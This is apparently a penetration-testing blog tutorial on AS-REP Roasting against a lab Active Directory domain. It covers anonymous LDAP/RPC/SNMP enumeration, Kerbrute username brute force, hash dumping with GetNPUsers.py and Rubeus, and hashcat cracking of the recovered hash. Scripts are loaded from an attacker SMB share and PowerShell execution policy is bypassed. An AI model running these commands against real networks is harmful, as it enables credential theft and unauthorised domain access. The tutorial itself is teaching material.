In this blog post, we will learn about AS-REP Roasting attacks and how they can be performed both remotely as well as from a foothold on a target host in the domain.
To begin, we will briefly learn about Kerberos pre-authentication and how an AS-REP roasting attack works.
Next, we will jump right into the first scenario where we will learn how to remotely hunt for AS-REP roastable users in a domain. From there, we will learn how to remotely execute an AS-REP roasting attack to dump the hash of a vulnerable user that we found.
Following the first scenario, we will jump into the second scenario where we have established a foothold on a target host in the domain.
From there, we will learn how to find users with Kerberos pre-authentication disabled, as well as how to perform an AS-REP roasting attack using two different flavours of Rubeus.
Finally, we will take the hash that we dumped (multiple ways) and see how we can crack it using Hashcat.
Keberos Pre-Authentication
Kerberos pre-authentication is a feature that is enabled by default for every user in an Active Directory environment.
When a user needs access to a resource, the Kerberos pre-authentication process begins by sending an authentication server request (AS-REQ) message to the Key Distribution Center (KDC), which resides on the Domain Controller (DC).
The request message contains a timestamp that is encrypted with the hash of the user’s password making the request. The KDC then matches the timestamp with its own record of the user’s password hash, and responds with an Authentication Server Response (AS-REP) message.
Inside this AS-REP message is the encrypted TGT, which contains the requesting user’s hash.
Essentially, a user pre-authenticates with the KDC first, and then the KDC verifies this information before carrying out the authentication request.
However, If a user in the domain has pre-authentication disabled, an attacker can request authentication data for the user, and the KDC will return an AS-REP message with the encrypted TGT that can be cracked offline.
When pre-authentication is disabled, the KDC skips the step of validating that the user is really who they say they are and returns an encrypted TGT out of “trust”.
What is an AS-REP Roasting Attack?
AS-REP Roasting is a technique used by attackers to dump the AS-REP (krbasrep5) hash of a user account that has Kerberos pre-authentication disabled. Unlike Kerberoasting, the user(s) involved in this type of attack are not limited to service accounts.
Any account can have pre-authentication turned off by simply checking a single box.
The only requirement to perform an AS-REP Roasting attack is to have a valid username of a user in the domain that has pre-authentication disabled.
However, that can be a lot easier said than done…
For example, if we are just starting our enumeration and trying to perform this attack remotely, then we will need find a way to dump a list of domain users from a service like SNMP, RPC, LDAP, etc. Otherwise, we will need to brute force usernames and hope that we get lucky.
Alternatively, if we landed a foothold on a host in the domain, we can easily enumerate domain users as well as AS-REP roastable users.
This means that AS-REP Roasting is both an initial access technique as well as a privilege escalation technique.
Alright, now that we have learned about Kerberos pre-authentication and AS-REP Roasting attacks, let’s jump into some examples!
Hunting for AS-REP Roastable Users – Remote
For our first set of examples, we will enumerate AS-REP Roastable users remotely.
For our first scenario, let’s say that we have just accessed a target network with an IP block of 172.16.1.0/24. We do not know any usernames or passwords at this point, and we just used nbtscan to gather a list of IP – hostname mappings.
nbtscan 172.16.1.0/24 
The scan reveals three hosts and a DC in the network.
At this point, our goal is to try and enumerate the DC first, through services such as SNMP, RPC, and LDAP(S). The hope is that we are able to access one of these services without credentials (anonymously), so that we can dump a list of users in the domain.
Alternatively, the other options we have include checking SMB shares on all hosts/DC, checking non-standard services open on all hosts/DC (http(s), ftp, etc.), and brute force – to name a few.
Finally, a bit out of scope but worth mentioning is using social media / google / OSINT to find usernames. However, that more so applies to actual engagements.
The techniques we have available to us for finding usernames depend on which services are open, and what we can enumerate from them.
Below is a small example of things we can try (good starting point), but by no means is this an exhaustive list on how to find usernames in a domain.
Hunting for Anonymous Access to SNMP, RPC and LDAP(S)
As mentioned above, the first place we want to try and find usernames are from an anonymous session to the SNMP, RPC, or LDAP services on the DC.
We can check if anonymous access is granted to any of these three services quite easily using various different tools and techniques.
If you are interested in learning more about SNMP, RPC, and LDAP enumeration, I have multiple posts on the topics, which can be found here.
First, we can check if we have anonymous access to the SNMP service with the following command:
snmp-check 172.16.1.5
If this works, it will dump a lot of information including “User Accounts”, which are all the users in the domain.
Next, we can check anonymous access to the RPC service using the rpcclient tool.
rpcclient 172.16.1.5 -NIf it works, we will drop into an rpcclient prompt where we can enumerate users with the following command:
enumdomusers
Finally, we can use ldapsearch to check for anonymous access to the LDAP(S) service.
ldapsearch -x -H 'ldap://172.16.1.5' -b "dc=juggernaut,dc=local"
And if this works, it will dump A LOT of information. However, with a little Linux-fu we can extract only the domain users from the output.
ldapsearch -x -H 'ldap://172.16.1.5' -b "dc=juggernaut,dc=local" | grep 'userPrincipalName' | tr '@' ' ' | awk '{print $2}'
Note that the output does not include the three built-in domain accounts: Administrator, krbtgt, and Guest.
Again, this is just a small example of how we can find domain users; however, if one of these techniques works, and we are able to dump a list of users, then we can check if any of them are AS-REP Roastable using a tool called Kerbrute.
Checking Findings for AS-REP Roastable Users – Kerbrute
Moving on with our scenario, let’s say that one of the above techniques worked for us, and we were able to dump a list of users via anonymous access to LDAP(S).
So at this point, we have a list of all users in the domain.
Next, we need to take the list of users and copy + paste them into a text file. We also need to make sure that we manually add the three missing accounts from the LDAP output.
Perfect! Now that we have our users.txt file, we can feed it into Kerbrute to check for valid (AS-REP roastable) accounts.
kerbrute -users ./users.txt -domain juggernaut.local -dc-ip 172.16.1.5
Amazing! Kerbrute was able to check the validity of each username we found, and determine if they are active or blocked/disabled. Furthermore, we also discovered that user vcreed does not have pre-authentication enabled, and as a result is AS-REP roastable!
However, before we get into the actual AS-REP roasting portion, let’s quickly look at some other ways that we can find domain users.
Brute Force with Kerbrute
Another way that we can find valid users in a domain, is via brute force.
Let’s pretend for a moment that we checked anonymous access to SNMP, RPC, and LDAP, but we had no luck! Additionally we checked all shares on each host, all interesting running services, and… nothing! We have have come up empty, and were unable to find a single username.
When this is the case, there is really only one thing left for us to try – brute force!
As we just saw, Kerbrute is a great tool to confirm the validity of user accounts, as well as determining if any of the users are AS-REP roastable.
However, the primary function of this tool – given the name – is to brute force usernames and passwords through the Kerberos service.
Something very important that we need to keep in mind is naming convention. Typically, companies like to use one of the following when creating usernames for their users:
- Name (jon)
- First initial + Last name (jdoe)
- First name + Last initial (jond)
These three conventions are pretty common, with the second one (jdoe) being the most common.
Email naming convention is similar but often includes a period ‘ . ‘ and often include a user’s full name, for example: jon.doe@abc
Alright, with all of that in mind, we can start looking for a good wordlist to work with.
Creating a Custom Wordlist
For this example, we will craft our own custom wordlist using Hashcat.
To start, let’s grab a copy of this last-names.txt script here, and copy it onto our attacker machine.
Next, we will craft a simple rule that prepends every letter of the alphabet to each word in the wordlist.
Once the rule is created, we can use Hashcat to run the rule against the last-names.txt file and create a new wordlist.
hashcat --force /usr/share/wordlists/last-names.txt -r /usr/share/hashcat/rules/prepend_letter.rule --stdout > usernames.txt
Awesome! The new wordlist is 26x larger than the last-names.txt file, and now contains 2.3 million first initial + last name combinations.
Note that this wordlist is quite large. When performing a brute force attack, you will want to start with smaller wordlists, and then work your way up to the larger ones.
Alright, now that our wordlist is ready, we can begin testing it with Kerbrute.
Brute Forcing Usernames Using Kerbrute and a Custom Wordlist
We can pass our custom wordlist into Kerbrute, and begin brute forcing valid usernames in the domain using the following command:
kerbrute -users ./usernames.txt -domain juggernaut.local -dc-ip 172.16.1.5 -threads 80
Amazing! After only 15 minutes, three users were found and one of them is vcreed!
In total, this would probably take around 45-60 mins to completely run through. Considering the size of the wordlist, that really isn’t too bad.
Brute force is definitely not the fastest method; however, it can be quite useful when we are in a pinch and our options are limited.
Other Considerations
As mentioned earlier, there are many places where we can look for valid usernames in a domain. For example, we can check all of the different services running on each host in the network to find hints, clues, etc.
But, there is also one other place where we should always be looking… hostnames!
Hostnames are important, and often reveal useful information. For example, it is very common for companies to name their hosts after their assigned users.
When this happens, an attacker can easily enumerate a list of users in the domain by simply running the nbtscan command against the target network.
If we scroll up to the start of this example, we will see that nbtscan found three hosts in the network:
- JUGG-CMARKO
- JUGG-EFROST
- JUGG-VCREED
And after seeing the last two examples, we know that cmarko, efrost, and vcreed are all domain users.
This means we could have quickly used the hostnames we found to determine three usernames, added them to a TXT file, and then checked them using Kerbrute.
AS-REP Roasting Attack Using GetNPUsers.py – Remote
GetNPUsers.py is a script used to remotely execute AS-REP roasting attacks, and is part of the Impacket Collection of Scripts.
As we saw above, there are many ways that we hunt for valid domain users; and even more specifically, users with Kerberos pre-authentication disabled.
Alright, so at this point we have determined that the user vcreed does not require Kerberos pre-authentication, and is AS-REP roastable.
With this finding, we can perform an AS-REP roasting attack with GetNPUsers.py and the following syntax:
GetNPUsers.py juggernaut.local/vcreed -dc-ip 172.16.1.5 -no-pass
Boom! And just like that… by simply enumerating a valid user in the domain that does not require Kerberos pre-authentication, we can dump their AS-REP hash with ease!
When using GetNPUsers.py, the hash is dumped in a format ready for cracking. Just copy + paste into a TXT file, and it is ready to go.
Unfortunately. this type of hash cannot be passed, so we will need to crack it.
To learn more about pass-the-hash attacks, check out my post on topic here.
Moving on, after requesting the ticket and dumping the AS-REP hash of “vcreed“, we can now proceed to crack the hash using tools like Hashcat and John the Ripper.
However, before we crack this hash, let’s change up the scenario a bit.
Let’s see how we can hunt for AS-REP roastable users, as well as perform an AS-REP roasting attack from a foothold on a target host in the domain.
Hunting for AS-REP Roastable Users – Foothold
For our next scenario, we have established a foothold on a target host in the domain.
From there, we are going to learn how to hunt for users with Kerberos pre-authentication disabled, as well as perform an AS-REP roasting attack.
At this stage in the scenario, we have scanned the target network and began enumerating the three hosts as well as the domain controller that we found.
From there, we discovered a vulnerability on one of the Windows 10 hosts (172.16.1.100) that we managed to exploit, landing us a reverse shell.
Cool! The exploit provided a foothold on the target host, and now we can begin hunting for AS-REP roastable users.
Finding AS-REP Roastable Accounts Using PowerShell – Foothold
First, it should be mentioned that even though we have a foothold, finding AS-REP roastable users is not as simple as running a cmd.exe or PowerShell command.
Instead, we need to use tools that are written for PowerShell in order to unlock the ability to enumerate AS-REP roastable users.
Immediately, two tools come to mind: PowerView and RSAT.
Both of these tools are VERY useful for domain enumeration (after obtaining a foothold). For this reason, we will see how we can use both to find AS-REP roastable users.
Also, since we are using two PowerShell scripts for these examples, we need to drop into a PowerShell prompt on the victim:
powershell -ep bypass
If the above fails, you can get a PowerShell prompt by sending back a Nishang 1-liner found here.
Now that we have a PowerShell prompt, let’s check out our first example using PowerView.
PowerView
PowerView is a script that is included in the PowerSploit collection of PowerShell scripts/modules.
PowerSploit has a LOT of great scripts, so I suggest cloning the entire repo onto your attacker machine from here.
Once PowerSploit has been downloaded, we can grab a copy of PowerView from the Recon directory, and place it in our working directory.
Next, we need to transfer the file onto the victim.
If you want to learn various techniques on how to transfer files when targeting a Windows host, then check out my post on the topic here.
To do this, we will quickly setup an SMB share out of our working directory on our attacker machine.
smbserver.py share $(pwd) -smb2support
Cool! At this point, we have a couple of options with regards to how we can load this script.
First, we can load this script it into our current session directly from the share without the need to transfer the file onto the victim host.
. \\172.16.1.30\share\PowerView.ps1
Perfect! We did not receive an error, which means PowerView along with all of its modules have been loaded into our current PowerShell session.
As a result, we should now have access to cmdlets that were not previously available before loading up PowerView.
One cmdlet in particular that we now have access to is Get-DomainUser, which can be used to gather a lot of details about specific domain user accounts.
Finally, using the following syntax we can execute the Get-DomainUser cmdlet to extract a list of all AS-REP roastable accounts in the domain:
Get-DomainUser -PreauthNotRequired -Verbose | select samaccountname
Remote Server Administration Tools (RSAT)
Similar to PowerView, RSAT is a PowerShell script / module that allows administrators (and attackers) to easily query information about a domain.
The main difference between PowerView and RSAT is that RSAT is actually a legitimate Windows program. When compared to PowerView, this makes RSAT a more stealthy option for attackers to perform domain enumeration.
To begin, we need to grab a copy of RSAT from this GitHub repo here.
After cloning the repo onto our attacker machine, we need to copy Import-ActiveDirectory.ps1 into our working directory and then append the following command to the bottom of the script:
echo $'\nImport-ActiveDirectory' >> Import-ActiveDirectory.ps1
Perfect! By appending the command at the bottom of the script, it will auto-execute once the script is loaded into our current PowerShell session. Then, just like we saw using PowerView, we will then have access to additional PowerShell cmdlets.
. \\172.16.1.30\share\Import-ActiveDirectory.ps1
Boom! By using dot sourcing directly from the share, we are able to load this script into our current session without having to transfer it onto disk!
Now that the script has been loaded into our current session, we gain access to a lot of good cmdlets.
For a list of all the cmdlets available with RSAT, check out this link here.
However, for this example we are most interested in the Get-ADUser cmdlet. With this, we can easily find AS-REP roastable users, like so:
Get-ADUSer -Filter 'DoesNotRequirePreAuth -eq $true ' | select samaccountname
Amazing! Both tools provide a similar output, and list all of the AS-REP roastable accounts in the domain.
Now that we have seen two different ways that we can hunt for AS-REP roastable users, let’s check out how to exploit this, and dump the user’s hash.
AS-REP Roasting Attacks – Foothold
After determining that the user vcreed has pre-authentication disabled, we can perform an AS-REP roasting attack against the user using two different versions of the same tool: Rubeus and Invoke-Rubeus
Interestingly enough, to use these tools we do not need to know who the user is that has pre-authentication disabled. This means that we could have skipped the previous step and jumped right into performing the attack.
However, hunting for AS-REP roastable users first is good practice. This creates a targeted approach and allows everything we do to have purpose, and allows us to avoid putting tools on a victim that we do not need to have on there.
Rubeus.exe
Rubeus is a tool that can be used to very easily perform an AS-REP roasting attack in an Active Directory environment.
If you do not have a copy of rubeus.exe, you can grab a compiled one from here.
With a single command, rubeus.exe will identify, request and extract all of the AS-REP roastable user’s hashes in the domain.
First, we need to grab a compiled copy of Rubeus from the link above. Then, we need to transfer a copy of Rubeus onto the victim machine.
Since we already have an SMB server running on our attacker machine, we’ll utilize it to grab a copy of Rubeus.
cp \\172.16.1.30\share\rubeus.exe .
Once Rubeus has been transferred onto the target host, we can perform an AS-REP roasting attack with the following command:
.\Rubeus.exe asreproast 
Boom! Just like that, Rubeus was able to find all of the users with pre-authentication disabled, and then dump their TGS-REP hashes!
After extracting the hash, we can now copy + paste it into a TXT file on our attacker machine and start cracking it!
When you copy + paste this hash into a txt file, it will have new lines for each line seen above. If you try to crack this hash as is, it will not work as it is not in the proper format for Hashcat. You can use some linux-fu to clean this up or just simply remove all the new lines manually. Regardless of how you do it, the key is to have this hash in a txt file as one continuous string so that it can be cracked using Hashcat.
Invoke-Rubeus
Invoke-Rubeus.ps1 is a PowerShell script that is part of the Empire post-exploitation framework.
Similar to PowerSploit, Empire has a LOT of great scripts, so I would suggest cloning the entire repo onto your attacker machine.
Once Empire has been downloaded, we can grab a copy of Invoke-Rubeus.ps1 and place it in our working directory.
From there, we can either append the command we want to execute at the bottom of the script again; or simply load it using dot-sourcing and then execute the command manually.
For this example, we will load the script and then manually run the command.
With that being said, all we have left to do is load the script into our PowerShell session.
. \\172.16.1.30\share\Invoke-Rubeus.ps1
The script loads without any error, indicating that we have the Rubeus cmdlets now available to us.
With the script loaded, we can now perform an AS-REP roasting attack using the following command:
Invoke-Rubeus -Command "asreproast"
Awesome! Just as we saw with rubeus.exe, the hashes are dumped and ready for cracking (after a little clean up).
Alright, now that we have seen how to perform an AS-REP roasting attack using two different flavours of Rubeus, as well as remotely using Impacket’s GetNPUsers.py script, let’s finally see how to crack this hash using Hashcat.
Cracking the AS-REP Hash with Hashcat
After dumping the AS-REP hash of user vcreed, it is now time to crack this hash using Hashcat!
First, we need to copy + paste the users hash into a text file named asrep_hashes.txt and clean it up.
Next, we can use Hashcat’s help menu to find the cracking mode needed to crack this type of hash.
hashcat -h | grep -i "kerberos"
Great! From the output we can see that the cracking mode we need for this type of hash is 18200.
Then, we can use the cracking mode we found to begin cracking the password like so:
hashcat -m 18200 ./asrep_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_asrep.txt
But it fails!!
However, by adding the best64 rule to the above command, we are able to successfully crack the password!
hashcat -m 18200 ./asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -o cracked_asrep.txt
vcreed : Dfaster1!23
The lesson here is not to rely too heavily on just rockyou.txt. It is not the be-all-end-all solution so try adding rules or try different wordlists if rockyou doesn’t have the password.
Regardless of the situation prior to cracking this hash, we now have a new set of credentials to work with, and are one step closer to achieving the ultimate goal – Domain Admin.
BONUS: AS-REP Roasting Attack Without a Username!
In some rare cases, you may get really lucky and find a user with pre-authentication disabled, without ever finding a valid username to pass into the command.
All you need to have to test for this is the IP of the domain controller and the name of the domain, like so:
GetNPUsers.py juggernaut.local/ -dc-ip 172.16.1.5
If this works, you will see the username of the user who has pre-authentication disabled and then you can request their hash by adding the -request flag:
GetNPUsers.py juggernaut.local/ -dc-ip 172.16.1.5 -request
Amazing! Just by knowing the name of the domain, we are able to dump a users hash and can now begin cracking it.